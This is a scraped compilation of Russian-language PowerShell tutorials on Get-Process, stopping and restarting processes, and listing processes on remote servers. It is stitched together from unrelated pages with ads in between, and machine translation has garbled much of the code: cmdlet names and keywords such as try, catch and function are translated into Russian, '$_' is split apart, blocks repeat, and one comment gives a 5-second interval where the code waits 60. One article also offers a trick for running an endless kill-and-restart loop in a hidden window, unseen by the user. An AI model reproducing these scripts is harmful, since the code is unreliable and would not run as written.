  • http://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html

  • http://www. nivot.org/blog/post/2012/02/10/Bypassing-Restricted-Execution-Policy-in-Code-or-in-Scriptfrom

  • http://www.powershellmagazine.com/2014/07/08/powersploit/

Записочка по PowerShell | ITNote

Не так часто использую PowerShell. По этому решил записать некоторые особенности в одной записи что бы освежать память. А вообще Python приятней 🙂

Перед выполнение скриптового файла

set-executionpolicy remotesigned

Получить помощь

# помощь по команде Get-Process
get-help Get-Process
# пример использования команды Get-Process
get-help Get-Process -examples
# Получить методы возвращаемого объекта Get-Process
Get-Process| Get-Member
# Узнать тип объекта. В данном случае переменной с каталогом пользователя
$home.GetType()

Операции сравнения

Операция без учета регистра с учетом регистра C#
равно(equal) -eq -ceq == не равно (not equal) -ne -cne != больше чем (greater then) -gt -cgt > меньше чем (less than) -lt -clt < больше равно (greater or equal) -ge -cge >= меньше равно (less than or equal) -le -cle <=

Операции со строками
Полная аналогия с C#.
Разбить строку по пробелам

$string = "Test string"
$string.split(" ")

Ищем в $string первый пробел

$string.IndexOf(" ")

Предопределенные переменнеы
$home — каталог пользователя
$NULL — пусто
$true — истина
$false — лож
$DebugPreference — «Continue» выводить отладку, «SilentlyContinue» не выводить отладочную информацию. См. команду Write-Debug

Работа с файлами
Дописать $string новой строкой в файл $file

$string | Out-File $file -Append	

Получить в $string содержимое файла $file

$string = get-content -Path $file

Проверить существование файла:

Test-Path "C:test.txt"

Найти все файлы с определенным расширением расширением в каталоге и подкаталогах.
Затем скопировать эти файлы в другой каталог.

$flist = get-childitem e:doc* -include *.pdf -recurse
$flist | ForEach-Object{$_.CopyTo("e:docall_pdf" + $_.PSChildName)}

Текущий каталог

$local = Get-Location
$local.Path # Рабочий каталог
$local.Drive.Root # Корень
$local.Drive.Name # Буква диска
$local.Drive.Used # Использовано диска
$local.Drive.Free # Свободно на диске

Вывод текста на экран

# текст на который надо обратить внимание. Выделяется желтым.
Write-Warning("Текст требующий внимания")
# Просто выводит текст
Write-Host("Просто текст")

#включили вывод отладочной информации
$DebugPreference = "Continue"
# вывели отладочную информацию
Write-Debug "Cannot open file."
# отключили отладочную вывод отладочной информации
$DebugPreference = "SilentlyContinue"

Сделать паузу на несколько секунд

Start-Sleep -s 15 # Пауза на 15 секунд

Пауза в консоли, до нажатия Enter

Read-Host "Нажмите Enter"

Работа с процессами
Задача: убить все процессы с именем Notepad

# Способ №1
get-process Notepad | Stop-Process

# Способ №2 (Работает только с одним процессом)
$plist = get-process Notepad
$plist.Kill()

# Способ №3 (то же что и 2, но все процессы)
$plist = get-process Notepad
$plist | ForEach-Object {$_.Kill()}

Получить процессы и даты их запуска

Get-Process| Format-Table Name,StartTime -AutoSize

Powershell: Перезапуск процесса » Pechenek.NET

Powershell – очень мощный инструмент в среде Windows,  прежде всего он помогает администраторам Windows, но и опытные пользователи тоже найдут ему применение на своём компьютере.

В этой статье мы рассмотрим перезапуск процесса по расписанию, не прибегая к помощи планировщика задач. И кое-какой секрет мы оставим для тех, кто дочитает статью до конца.

Powershell: Перезапуск процесса

В работе за домашним или офисным компьютером, Windows-сервером периодически возникает потребность в перезапуске процесса. Причины бывают разные:

  • процесс зависает
  • процесс потребляет много памяти

Это в основном ключевые причины. Конечно же стоит разобраться почему так происходит, но если нет времени, то наша статья приходит вам на помощь.

Для начала нам необходимо найти процесс, который нам нужен. Открываем диспетчер задач, нажимаем комбинацию клавиш (несколько на выбор):

  • Ctrl+Alt+Del выбрать “диспетчер задач”
  • Ctrl + Shift + Esc при данной комбинации диспетчер сразу откроется
  • Комбинация клавиш: Win+R на клавиатуре, далее вводим taskmgr  и нажимаем Enter
  • Нажимаем правой кнопкой мыши в любом пустом месте на панели задач и мы уже знаем что там выбрать.

Во всех вышеперечисленных манипуляциях откроется компьютерная программа для вывода на экран списка запущенных процессов и потребляемых ими ресурсов, вида:

 

 

 

 

 

Нас интересует вкладка: Процессы, здесь отображается детальная информация обо всех процессах, которые сейчас запущены. Чтобы получить тоже самое в консоли Powershell, необходимо либо в пуске, в поисковой строке операционной системы ввести powershell, либо комбинацией Win+R ввести так же

powershell, и нажать ОК, откроется консоль:

Windows PowerShell
(C) Корпорация Майкрософт (Microsoft Corporation). Все права защищены.

Windows PowerShell

(C) Корпорация Майкрософт (Microsoft Corporation). Все права защищены.

Далее вводим:

И получаем немаленький список вывода.

Нам необходим определённый процесс, например: “Telegram”:

Get-Process | Where-Object {$_.Name -eq «Telegram»}

Get-Process | Where-Object {$_.Name -eq «Telegram»}

Или можно, проще:

Get-Process -Name «Telegram»

Get-Process -Name  «Telegram»

В обоих случаях мы получаем вывод того, что процесс работает. Для того, чтобы процесс перезапустить будем использовать алгоритм:

получить состояние процесса, убить (остановить) процесс – Stop-Process, стартовать процесс, реализация:

$proc = Get-Process | Where-Object {$_.Name -eq «telegram»}
$proc.Kill()
Start-Process «D:\program\Telegram.exe»\n

$proc = Get-Process | Where-Object  {$_.Name -eq «telegram»}

$proc.Kill()

Start-Process «D:\program\Telegram.exe»\n

Мы заводим переменную proc, кладём в неё объект, дальше убиваем (принудительно останавливаем) этот процесс, и в 3-ей строке указываем расположение процесса, чтобы его запустить.

Этих строк кода достаточно, чтоб сделать это вручную. Для целей автоматизации этой процедуры, мы будем использовать цикл for, причём цикл будет бесконечным, мы лишь только укажем время, через которое нужно будет скрипту выполнять данное действие. По итогу скрипт будет выглядеть вот так:

for(;;)
{
try
{
$procObj = Get-Process | Where-Object {$_.Name -eq «telegram»}
$procObj.Kill()
Start-Process «D:\program\Telegram.exe»\n
}
catch
{

}
# wait for a minute
Start-sleep -seconds 60
}

for(;;)

{

try

{

$procObj  = Get-Process | Where-Object  {$_.Name -eq «telegram»}

$procObj.Kill()

Start-Process «D:\program\Telegram.exe»\n

}

catch

{

  

}

# wait for a minute

Start-sleep -seconds 60

}

На данный момент каждые 5 секунд скрипт будет перезапускать данный процесс. Для удобства в блок try-catch можно внести обработку исключении, исключение необходимо указывать в блоке catch. Как  и обещал, секрет для тех, кто дочитал статью до конца. Действие, описанное выше можно запускать незаметно для пользователя, даже не заводя задачу в планировщике задач, просто добавил наш код в блок:

PowerShell.exe -windowstyle hidden {

}

PowerShell.exe -windowstyle hidden {

 

}

Итоговый вариант:

PowerShell.exe -windowstyle hidden {
for(;;) {
try {
$procObj = Get-Process | Where-Object {$_.Name -eq «telegram»}
$procObj.Kill()

Start-Process «D:\program\Telegram.exe»\n
}
catch {
# do something with $_, log it, more likely
}

# wait for a minute
Start-sleep -seconds 60
}
}

PowerShell.exe -windowstyle hidden {

for(;;) {

try {

$procObj  = Get-Process | Where-Object  {$_.Name -eq «telegram»}

$procObj.Kill()

 

Start-Process «D:\program\Telegram.exe»\n

}

catch {

# do something with $_, log it, more likely

}

 

# wait for a minute

Start-sleep -seconds 60

}

}

Данный блок кода можно просто занести в консоль powershell, нажать Enter на клавиатуре, и закрыв консоль, всё будет работать, так как вы сохранили данное действие в памяти.

Надеюсь, данная статья вам очень поможет. Всем чистого кода!

PowerShell Get-Process | Параметры в PowerShell Get-Process

Введение в PowerShell Get-Process

Командлет

Get-Process в PowerShell используется для получения списка процессов, запущенных в системе, а также из удаленных систем. Эти процессы могут быть приложениями или системными процессами. Это те же процессы, которые вы можете увидеть в диспетчере задач на вкладке «Процесс».

Синтаксис

Get-Process
[[-Name] ]
-Id
-InputObject
-ComputerName
[-Module]
[-FileVersionInfo]
[-IncludeUserName]
[<Общие параметры>]

Приведенный выше синтаксис может использоваться в различных комбинациях.Не всегда все комбинации работают. Например, параметры Module и FileversionInfo не работают вместе.

Параметры

Некоторые параметры приведены ниже:

  • -Name: Если указан параметр -Name, PowerShell извлекает все процессы с этим именем. Подстановочный знак (*) разрешен. Вы можете указать несколько имен процессов, разделенных запятыми (,).
  • -ID: Параметр ID определяет ID процесса. Когда указан конкретный идентификатор процесса, PowerShell извлекает информацию об этом идентификаторе процесса.Идентификатор процесса всегда целое число. Идентификатор процесса используется по умолчанию для вывода Get-Process. Вы также можете получить PID из диспетчера ресурсов.
  • -Module: Если этот параметр указан с помощью Get-Process, он показывает все модули, которые были загружены процессами. Когда PowerShell запускается от имени администратора, этот параметр показывает все модули для всех пользователей.
  • Эту команду можно запустить на удаленном компьютере, указав имя системы в параметре -ComputerName или запустив Invoke-Command.
  • С этим параметром нельзя использовать конвейерную команду Stop-Process.
  • -ComputerName: Вы можете указать имя удаленной системы для получения процесса, запущенного на удаленных компьютерах. Вы можете указать несколько имен компьютеров, разделенных запятыми (,).
  • -IncludeUserName: Когда вы добавляете этот параметр, в выходных данных процесса отображается столбец с именем пользователя, под которым выполняется конкретный процесс.
  • -FileVersionInformation: Этот параметр предоставляет версию файла или приложения, отвечающего за конкретный процесс.Чтобы получить список всех версий файлов процессов от разных пользователей, вам необходимо запустить консоль PowerShell от имени администратора.
  • Вы можете получить сведения о версии файла с удаленного компьютера, используя параметр –ComputerName или параметр Invoke-Command
  • -InputObject: Определяет объект процесса. При создании расширенной функции вы также можете указать входной объект как конвейер или переменную, содержащую объекты процесса.

Примеры Get-Process в Powershell

Примеры PowerShell показаны ниже:

1. Простая команда Get-Process

Get-Process

Когда вы запускаете указанную выше команду только без каких-либо конкретных параметров, то по умолчанию выводится следующая таблица.

Ручка, NPM (K), PM (K), WS (K), Id, SI, ProcessName
Выход:

Get-Process | Работа с PowerShell по одному командлету за раз | Еженедельный блог

Это часть продолжающейся серии блогов, написанных Адамом Гордоном.Каждую неделю Адам будет проводить вас через команду PowerShell, показывая, когда и как использовать каждую из них. На этой неделе Адам рассказывает о Get-Process.

Когда использовать Get-Process

Командлет Get-Process получает процессы на локальном или удаленном компьютере.

Без параметров этот командлет получает все процессы на локальном компьютере. Вы также можете указать конкретный процесс по имени процесса или идентификатору процесса (PID) или передать объект процесса через конвейер этому командлету.

По умолчанию этот командлет возвращает объект процесса, который содержит подробную информацию о процессе и поддерживает методы, позволяющие запускать и останавливать процесс.

Вы также можете использовать параметры командлета Get-Process для получения информации о версии файла для программы, которая выполняется в процессе, и для получения модулей, загруженных процессом.

Как использовать Get-Process

Получить список всех активных процессов на локальном компьютере:

Get-Process

Эта команда получает список всех активных процессов, запущенных на локальном компьютере.

Получить все доступные данные об одном или нескольких процессах :

Get-Process winword, проводник | Список форматов *

Командлет Get-Process получает все доступные данные о процессах Winword и Explorer на компьютере.

Он использует параметр — Name для указания процессов, но опускает необязательное имя параметра.

Оператор трубопровода | передает данные командлету Format-List , который отображает все доступные свойства * объектов процессов Winword и Explorer.

ПРИМЕЧАНИЕ. Вы также можете идентифицировать процессы по их идентификаторам. Например, Get-Process -Id 600, 403.

Получить все процессы с рабочим набором больше указанного :

Get-Process | Where-Object {$ _. WorkingSet -gt 20000000}

Командлет Get-Process получает все процессы, рабочий набор которых превышает 20 МБ.

Оператор трубопровода | передает объекты процесса в командлет Where-Object , который выбирает только объект со значением больше 20 000 000 байт для свойства — WorkingSet .

WorkingSet — одно из многих свойств объектов процесса.

ПРИМЕЧАНИЕ. Чтобы увидеть все свойства, введите Get-Process | Получить Участник .

По умолчанию значения всех свойств количества указаны в байтах, хотя в отображении по умолчанию они указаны в килобайтах и ​​мегабайтах.

Список процессов на компьютере в группах на основе приоритета :

$ A = Get-Process
$ A | Get-Process | Формат-Таблица -Приоритет просмотра

Первая команда получает все процессы на компьютере и затем сохраняет их в переменной $ A.

Вторая команда передает объект Process , хранящийся в переменной $ A, в командлет Get-Process , затем в командлет Format-Table , который форматирует процессы с использованием представления Priority .

Представление Priority и другие представления определены в файлах формата PS1XML в домашнем каталоге PowerShell ($ pshome).

Получить информацию о версии для процесса :

Get-Process powershell_ise -FileVersionInfo

Эта команда использует параметр — FileVersionInfo , чтобы получить информацию о версии для powershell_ise.EXE-файл, который является основным модулем для процесса PowerShell ISE.

ПРИМЕЧАНИЕ. Чтобы запустить эту команду с процессами, которыми вы не владеете, необходимо открыть PowerShell с параметром Запуск от имени администратора.

Получить модули, загруженные с помощью указанного процесса :

Get-Process PowerShell * -модуль

Эта команда использует параметр — Module для получения модулей, загруженных процессом.

ПРИМЕЧАНИЕ. Чтобы запустить эту команду с процессами, которыми вы не владеете, необходимо открыть PowerShell с параметром Запуск от имени администратора.

Найти владельца процесса :

Get-Process powershell_ise -IncludeUserName

Для параметра — IncludeUserName требуются повышенные права пользователя (запуск от имени администратора).

$ p = Get-WmiObject Win32_Process -Filter «name =’ powershell_ise.exe »

$ p. GetOwner ()

Использование Get-WmiObject для получения процесса PowerShell_ISE. Он сохраняет его в переменной $ p.

Использование метода GetOwner для получения владельца процесса в $ p.

Получить все процессы, у которых есть заголовок главного окна, и отобразить их в таблице :

Get-Process | Where-Object {$ _. MainWindowTitle} | Формат-таблица, имя, mainWindowtitle -AutoSize

Свойство — mainWindowTitle — это лишь одно из многих полезных свойств объекта Process , который возвращает Get-Process .

Чтобы просмотреть все свойства, передайте результаты команды Get-Process по конвейеру командлету Get-Member Get-Process | Получить Участник .

Требуется обучение PowerShell? Ознакомьтесь с онлайн-курсами ИТ-обучения PowerShell от ITProTV.

Get-Process

Get-Process


ОБЗОР

Получает запущенные процессы
на локальном компьютере.


СИНТАКСИС

Get-Process [[-name]
<строка []>] []

Get-Process -id
[<Общие параметры>]

Get-Process -inputObject
<Процесс []> [<Общие параметры>]


ПОДРОБНОЕ ОПИСАНИЕ

Командлет Get-Process получает
объект процесса для каждого процесса.Без параметров, «Get-Process»
получает все процессы на компьютере, как если бы вы ввели
«Get-Process *». Вы также можете идентифицировать конкретный процесс по
имя процесса или идентификатор процесса (PID), или передать объект процесса через
конвейер к Get-Process. Для Get-Process метод по умолчанию —
по имени процесса. Для Stop-Process метод по умолчанию — процесс
МНЕ БЫ.


ПАРАМЕТРЫ


-name <строка []>

Определяет один или несколько процессов по
Имя процесса.Вы можете ввести несколько имен процессов (разделенных
запятые) или используйте подстановочные знаки. Имя параметра («-Name»)
по желанию.

Необходимые?

ложный

Позиция?

1

Значение по умолчанию

Значение NULL

Принять трубопровод
ввод?

истина (ByPropertyName)

Принять подстановочный знак
символы?

правда


-inputObject
<Процесс []>

Принимает объект процесса как вход
в командлет.Введите переменную, содержащую объекты, или введите
команда или выражение, которое получает объекты.

Необходимые?

правда

Позиция?

названный

Значение по умолчанию

Значение NULL

Принять трубопровод
ввод?

истина (ByValue)

Принять подстановочный знак
символы?

ложный


-id

Определяет один или несколько процессов по
идентификатор процесса (PID).Чтобы указать несколько идентификаторов, используйте запятые для разделения
идентификаторы. Чтобы найти PID процесса, введите «get-process».

Необходимые?

правда

Позиция?

названный

Значение по умолчанию

Значение NULL

Принять трубопровод
ввод?

истина (ByPropertyName)

Принять подстановочный знак
символы?

ложный


<Общие параметры>

Этот командлет поддерживает общие
параметры: -Verbose, -Debug, -ErrorAction, -ErrorVariable и
-OutVariable.Для получения дополнительной информации введите «get-help

about_commonparameters «.


ТИП ВВОДА

PSObjects с «ProcessName» или
Указано свойство «Id» или все процессы, если ни один из них не
указано.


ТИП ВОЗВРАТА

Объект (ы) процесса.

Подробнее см. .NET framework.
документация Системы.Класс Diagnostics.Process. Эти
объекты сортируются по ProcessName, а внутри ProcessName по
МНЕ БЫ.


ПРИМЕЧАНИЯ

Для получения дополнительной информации введите
«Get-Help Get-Process — подробный». Для получения технической информации введите
«Get-Help Get-Process -full».

При указании нескольких значений для
параметр, используйте запятые для разделения значений.Например,
«<имя-параметра> <значение1>, <значение2>«.

Вы не можете использовать -Name, -ID и
-InputObject параметры в той же команде.

Вы также можете обратиться к Get-Process
встроенными псевдонимами «ps» и «gps». Для получения дополнительной информации см.
About_Alias.

Вы также можете использовать свойства и
методы объекта WMI Win32_Process в Windows PowerShell.За
информацию см.
Get-WmiObject и Windows
SDK инструмента управления.

Отображение процесса по умолчанию:
таблица, которая включает следующие столбцы:

·

Ручки: количество ручек,
процесс открылся.

·

NPM (K): количество невыгружаемых
память, которую использует процесс, в килобайтах.

·

PM (K): количество страниц
память, которую использует процесс, в килобайтах.

·

WS (K): Размер рабочего набора
процесса в килобайтах. Рабочий набор состоит из страниц
памяти, на которую недавно ссылался процесс

·

ВМ (M): объем виртуальной памяти.
что процесс использует, в мегабайтах. Виртуальная память включает
хранение в файлах подкачки на диске.

·

CPU (s): количество процессоров.
время, которое процесс использовался на всех процессорах, в
секунд.

·

ID: ID процесса (PID)
процесс.

·

ProcessName: имя
процесс.

Для объяснения концепций
связанных с процессами, используйте Глоссарий в Справке и
Поддержка и справка по диспетчеру задач.

Вы также можете использовать встроенный
альтернативные представления о процессах, доступных с
Формат-таблица, например «Время начала»
и «Приоритет», и вы можете создавать свои собственные представления. Для большего
информации, введите «Get-Help Format-Table -detailed».


ПРИМЕР 1

Эта команда получает список всех
запущенные процессы, запущенные на локальном компьютере.Для
определение каждого столбца, см. Дополнительные примечания в «Get-Help
Get-Process -Full. »


ПРИМЕР 2

Get-Process
Winword, исследователь | формат-список *

Эта команда получает все доступное
данные о процессах Winword и Explorer на компьютере. Это
использует параметр Name для указания процессов, но опускает
необязательное имя параметра.Оператор конвейера (|) передает данные
к
Format-Listcmdlet, который отображает все
доступные свойства (*) процесса Winword и Explorer
объекты.

Вы также можете определить процессы
по их идентификаторам процесса. Например, «get-process -id 664,
2060 «.


ПРИМЕР 3

получить-процесс |
где-объект {$ _.WorkingSet -gt 20000000}

Эта команда получает все процессы
которые имеют рабочий набор более 20 МБ. Он использует Get-Process
командлет, чтобы получить все запущенные процессы. Оператор конвейера (|)
передает объекты процесса в
Командлет Where-Object, который выбирает
только объект со значением больше 20 000 000 байт для
WorkingSet свойство.

WorkingSet — один из многих
свойства объектов процесса.Чтобы увидеть все свойства, введите
«Get-Process | Get-Member». По умолчанию значения всех сумм
свойства указаны в байтах, хотя по умолчанию они перечислены
в килобайтах и ​​мегабайтах.


ПРИМЕР 4

$ а =
get-process

получить-процесс
-inputobject $ a | формат-таблица-приоритет просмотра

Эти команды перечисляют процессы
на компьютере сгруппированы по приоритету.Первая команда получает все
процессы на компьютере и сохраняет их в переменной $ a.
Вторая команда использует параметр InputObject для передачи
объекты процесса, хранящиеся в $ a, в Get-Process. Оператор трубопровода
передает объекты в
Format-Tablecmdlet, который форматирует
процессы с помощью представления «Приоритет», определенного в PS1XML
форматировать файлы в домашнем каталоге Windows PowerShell
($ pshome).


ССЫЛКИ ПО ТЕМЕ

Остановить процесс

Командлет Get-Process PowerShell | Создание сценариев процессов диспетчера задач

Введение PowerShell Get-Process

У этой страницы двоякое назначение; во-первых, чтобы предоставить примеры «как» для написания сценариев процессов Windows.Во-вторых, чтобы помочь тем, кто хочет больше узнать о команде, методах и синтаксисе PowerShell Get-Process.

Темы для командлета PowerShell Get-Process

Наша миссия

Один полезный навык для всех пользователей компьютеров — проверить и, при необходимости, убить процесс. Такие процессы перечислены в диспетчере задач, и это подводит меня к другому полезному способу обучения: иметь открытый графический интерфейс (диспетчер задач), чтобы вы могли точно отслеживать, что выполняет сценарий PowerShell.

Подготовка — запуск диспетчера задач

Пришло время запустить диспетчер задач; самый яркий способ — нажать Ctrl + Shift + Esc; затем щелкните вкладку «Процессы», если вы нажмете «Имя изображения», вы сможете отсортировать процессы в алфавитном порядке. Между прочим, при устранении неполадок, какой процесс загружает процессор, я разворачиваю окно диспетчера задач, затем щелкаю столбец ЦП. В результате процесс с наибольшим значением для ЦП оказывается в верхней части списка.

Пример 1: Листинг с помощью Get-Process

Предварительные требования и контрольный список для PowerShell

В случае Windows 7 и более поздних версий вам не нужно загружать какие-либо дополнительные файлы, просто: «Добавить компонент» -> Windows PowerShell . Однако для более старых операционных систем существуют разные версии PowerShell для XP, Windows Server 2003 и Vista. Только для таких устаревших систем вам необходимо загрузить PowerShell с сайта Microsoft.

После установки PowerShell 2.0 или новее, я рекомендую выбрать версию ISE (Integrated Scripting Engine), это избавит от покупки текстового редактора.

# PowerShell Get-Process list
Get-Process *

Очки обучения

Примечание 1: Команды PowerShell не чувствительны к регистру, поэтому вы можете набрать Get-Process или Get-Process. Также вы можете опустить «get» в Get-Process, потому что «get» является глаголом по умолчанию, а PowerShell разумно добавляет «Get-» в процесс.

Примечание 2: PowerShell неизменно использует существительные в единственном числе, таким образом, Get-Process (а не Get-Processes).

Переключатели или модификаторы для Get-Process

В Get-Process подстановочный знак звездочка * не является обязательным, однако он напоминает нам, что мы можем изменить вывод для создания ограниченного диапазона:

Get-Process [ab ] * возвращает все процессы, начинающиеся с буквы a или b.

Get-Process [ae] * меня удивил, он перечислил только процессы, начинающиеся с «a» или начинающиеся с «e». Чтобы получить диапазон, мы должны добавить дефис между буквами: Get-Process [ae] *

Если вы последовали моему совету и у вас открыт Диспетчер задач, стоит проверить, что то, что вы видите в PowerShell, соответствует тому, что вы видите в Диспетчер задач.

Guy рекомендует: Бесплатная пробная версия Network Performance Monitor (NPM) v11.5

SolarWinds Network Performance Monitor поможет вам узнать, что происходит в вашей сети. Эта утилита также поможет вам в устранении неполадок; на приборной панели будет указано, является ли основная причина неисправной ссылкой, неисправным оборудованием или перегрузкой ресурсов.

Что мне больше всего нравится, так это то, как NPM предлагает решения сетевых проблем. Он также имеет возможность отслеживать состояние отдельных виртуальных машин VMware.Если вы заинтересованы в устранении неполадок и создании сетевых карт, я рекомендую вам попробовать NPM прямо сейчас.

Загрузите бесплатную пробную версию монитора производительности сети Solarwinds

Пример 2: Управление выводом Get-Process

Еще раз, когда вы узнаете о Get-Process, стоит проверить диспетчер задач, в частности изучить заголовки столбцов , Имя изображения, PID, ЦП и т. Д. Действительно, если вы нажмете на меню «Просмотр», а затем «Выбрать столбцы», вы сможете добавить еще больше столбцов.Что помогает устанавливать соединения, так это сравнение этих столбцов со свойствами, отображаемыми командой PowerShell Get-Member. Между прочим, каждая команда PowerShell выигрывает от следующей «обработки» Get-Member.

Свойства для PowerShell Get-Process

Вот полезная команда Get-Member, которая отображает свойства процесса. Из полученного списка вы можете решить, что использовать в вашей задаче PowerShell.

# Свойства Get-Process PowerShell
Clear-Host
Get-Process | Get-Member

Мне нравится добавлять фильтр, чтобы команда просто отображала свойства.
Get-Process | Get-Member -MemberType Свойство

Get-Process | Get-Member -MemberType Свойство

Полезные свойства процесса включают CPU, WorkingSet, VirtualMemorySize, HandleCount и Company.

Для дальнейшего использования вы можете сохранить информацию в файл.
Get-Process | Get-Member -MemberType Свойство | out-file Process.txt

См. основные примеры PowerShell с Get-Process

Guy рекомендует: SolarWinds Engineer’s Toolset v10

Этот Engineer’s Toolset v10 предоставляет комплексную консоль из 50 утилит для устранения неполадок компьютера.Гай говорит, что это помогает мне отслеживать, что происходит в сети, и каждый инструмент учит меня больше о том, как работает основная система.

Есть так много хороших гаджетов; это все равно, что получить полную свободу действий в магазине сладостей. К счастью, утилиты отображаются логично: мониторинг, обнаружение сети, диагностика и инструменты Cisco. Попробуйте набор инструментов SolarWinds Engineer прямо сейчас!

Загрузите полнофункциональную пробную копию Engineer’s Toolset v10

Пример 3: PowerShell Get-Process в действии

Пример 3a — Format-Table

# Сценарий PowerShell для форматирования вывода процесса
Clear-Host
Get-Process | Формат-таблица имя, рабочий набор, базовый приоритет -auto

Примечание Out-GridView: PowerShell v 2.0 представляет новый командлет для управления отображением данных. Узнайте больше о том, как передать результаты в Out-GridView.

Очки обучения

В этом примере отображением вывода управляет Format-Table. После исследования с Get-Member вы можете решить, какие свойства добавить, а какие удалить из моего примера.

Пример 3b — Список компаний, ответственных за процессы

# Сценарий PowerShell для перечисления процессов по компаниям
Clear-Host
Get-Process | Компания Группа-Объект | Sort-Object name

Learning Points

Такой сценарий может быть основой для обнаружения вредоносных программ.Если у вас есть список компаний, вы можете проверить их на наличие подозрительных или неизвестных имен.

Пример 3c — Список компаний, ответственных за процессы

# Список процессов PowerShell по компаниям
Get-Process | сортировочная компания | Format-Table ProcessName -groupby company

Очки обучения

Вот вариант примера 3b. Моя идея — отформатировать вывод в виде таблицы, а затем применить команду -groupby для агрегирования информации о компании.Кстати, PowerShell предоставляет информацию о «компании», которая недоступна на вкладке «Процессы» диспетчера задач.

С чистой точки зрения PowerShell обратите внимание на два конвейера (|) в командлете. В этом примере также есть group-Object и Sort-Object. Помимо улучшения вывода, эти удобные глаголы можно усечь до «группировать» или «сортировать», PowerShell интеллектуально выводит существительное -объект.

Пример 3d — Фильтрация процессов с более чем 200 дескрипторами

# Сценарий PowerShell для вывода списка процессов с более чем 200 дескрипторами
Clear-Host
Get-Process | где-объект {$ _.Обрабатывает -gt 200}

Очки обучения

Назначение этой команды — фильтровать процессы. $ _. — это местозаполнитель, или ссылка на текущую команду, или на первый конвейер. С точки зрения PowerShell, многие скрипты выигрывают от предложения «Where» для фильтрации вывода. Найдите время, чтобы проверить, где разместить (|) трубу, а также полюбуйтесь $ _. конструкция, что означает «в этом конвейере»

Guy рекомендует: бесплатный инструмент массового импорта SolarWinds

Импортируйте пользователей из электронной таблицы.Просто укажите список пользователей с их полями в верхней строке и сохраните как файл .csv. Затем запустите эту БЕСПЛАТНУЮ утилиту и сопоставьте свои поля с атрибутами AD, щелкните и импортируйте пользователей.

При желании вы можете указать имя подразделения, в котором будут создаваться новые учетные записи. Загрузите БЕСПЛАТНЫЙ инструмент массового импорта.

Остановить процесс Псевдоним Spps

В Microsoft всегда есть как минимум три способа сделать все: то, что кажется избыточностью, когда вы эксперт, кажется перспективным, когда вы новичок.Одним из очевидных примеров является то, что вы можете сократить Format-Table до ft. По мере увеличения диапазона команд PowerShell следите за другим псевдонимом PowerShell, например gci (Get-Childitem).

Знакомство с семейством процессов

Помимо Get-Process, представленного на этой странице, существуют сестринские команды: start, -Process и stop, -Process. Вот классический пример согласованности PowerShell. Узнайте, как существительное «Процесс» управляется глаголами start, stop и get, а затем примените те же глаголы к существительному «Service».

# Семейство процессов PowerShell
Clear-Host
Get-Command -Noun Process

Если вы исследуете с помощью Get-Process, произойдет нечто волшебное. Процессы диспетчера задач помогут вам изучить команды PowerShell, а исследования, необходимые для того, чтобы заставить скрипты PowerShell работать, расскажут вам больше о процессах операционной системы.

# Результаты для PowerShell 3.0

Имя
—————

Debug-Process
Get-Process
Start-Process
Stop-Process
Wait-Process

Сводка по

Получить процесс удаленно, включая имя пользователя, используя PowerShell

В сегодняшней статье я хотел бы описать, как сделать так, чтобы удаленность процесса использовалась определенным именем пользователя.Большинство администраторов PowerShell знакомы с этой командой, но не все знают ее параметр IncludeUserName . Недавно мне пришлось проверять процессы под каким-то именем пользователя на множестве серверов. Ниже вы можете найти несколько полезных примеров.

Получить процесс локально

Получить все процессы под какого-то конкретного пользователя не сложно. Параметр -IncludeUserName позволяет отображать другой столбец с данными пользователя в окончательном выводе:

-IncludeUserName
Указывает, что значение UserName объекта Process возвращается с результатами команды.
Для параметра IncludeUserName требуются повышенные права пользователя.

Более подробную информацию о Get-Process можно найти на странице документации Mirocosft.

Get-Process -IncludeUserName
Get-Process -IncludeUserName -Name Chrome
Get-Process -IncludeUserName | Where-Object {$ _. Username -match "Pawel.Janowicz"}
 
Получить процесс удаленно

Чтобы получить это с удаленного компьютера, мы должны поместить нашу команду в Invoke-Command .

# Получить процесс удаленно без информации о пользователе
Get-Process -Computername ADFS01

# Получить процесс удаленно, включая имя пользователя:
Invoke-Command ADFS01 -ErrorAction Stop -ScriptBlock {Get-Process -IncludeUserName | Where-Object {$ _. Username -match "Pawel.Janowicz"}}
 
Получить функцию процесса

Чтобы получить вывод со всех машин, я подготовил простую функцию. Он использует команду Invoke-Command , и результаты помещаются в массив. Результаты могут отображаться в консоли, новом всплывающем окне или сохраняться в файл CSV.

Окончательный сценарий:

Функция Get-UserProcess {
        [CmdletBinding ()]
        парам (
            [Параметр (Position = 0, Mandatory = $ true, HelpMessage = "Укажите имена серверов", ValueFromPipeline = $ true)] $ Computername,
            [Параметр (Position = 1, Mandatory = $ false, HelpMessage = "Укажите имя пользователя", ValueFromPipeline = $ false)] $ UserName = $ env: USERNAME
        )
        $ Массив = @ ()
        Foreach ($ Comp в $ Computername) {
            $ Comp = $ Comp.Отделка()
            Подробная запись "Processing $ Comp"
            Пытаться{
                $ Procs = $ null
                $ Procs = Invoke-Command $ Comp -ErrorAction Stop -ScriptBlock {param ($ Username) Get-Process -IncludeUserName | Where-Object {$ _. Username -match $ Username}} -ArgumentList $ Username
                Если ($ Procs) {
                    Foreach ($ P в $ Procs) {
                        $ Object = $ Mem = $ CPU = $ null
                        $ Mem = [math] :: Round ($ P.WS / 1 МБ, 1)
                        $ CPU = [math] :: Round ($ P.CPU, 1)
                        $ Object = New-Object PSObject -Property ([заказано] @ {
                                    "ServerName" = $ Comp
                                    "UserName" = $ P.username
                                    "ProcessName" = $ P.processname
                                    "CPU" = $ CPU
                                    «Память (МБ)» = $ Mem
                        })
                        $ Массив + = $ Объект
                    }
                }
                Else {
                    Write-Verbose «Для $ Username на $ Comp процесс не найден»
                }
            }
            Ловить{
                Write-Verbose «Не удалось запросить $ Comp»
                Продолжать
            }
        }
    Если ($ Array) {
        Возврат $ Array
    }
}
 

Как пользоваться:

#Применение:
Get-UserProcess -Computername ADFS01, ADFS02, ADFS03 -Verbose | Sort-Object ProcessName
Get-UserProcess -Computername (GC "C: \ temp \ servers.txt ") -Verbose | Out-GridView -Title" Procs "
Get-UserProcess -Computername ADFS01, ADFS02, ADFS03 -Username "system" -Verbose | Имя процесса сортировки объекта | форматная таблица
Get-UserProcess -Computername ADFS01, ADFS02, ADFS03 -Username "system" -Verbose | Имя процесса сортировки объекта | Export-Csv -Path C: \ users \ $ env: имя пользователя \ desktop \ results.csv -NoTypeInformation

 

Связанные

Получить имя процесса и имя пользователя-владельца

Get-Process chrome -IncludeUserName

Два способа вернуть имя пользователя-владельца запущенного процесса с помощью PowerShell.

Кто использует RemoteApps?

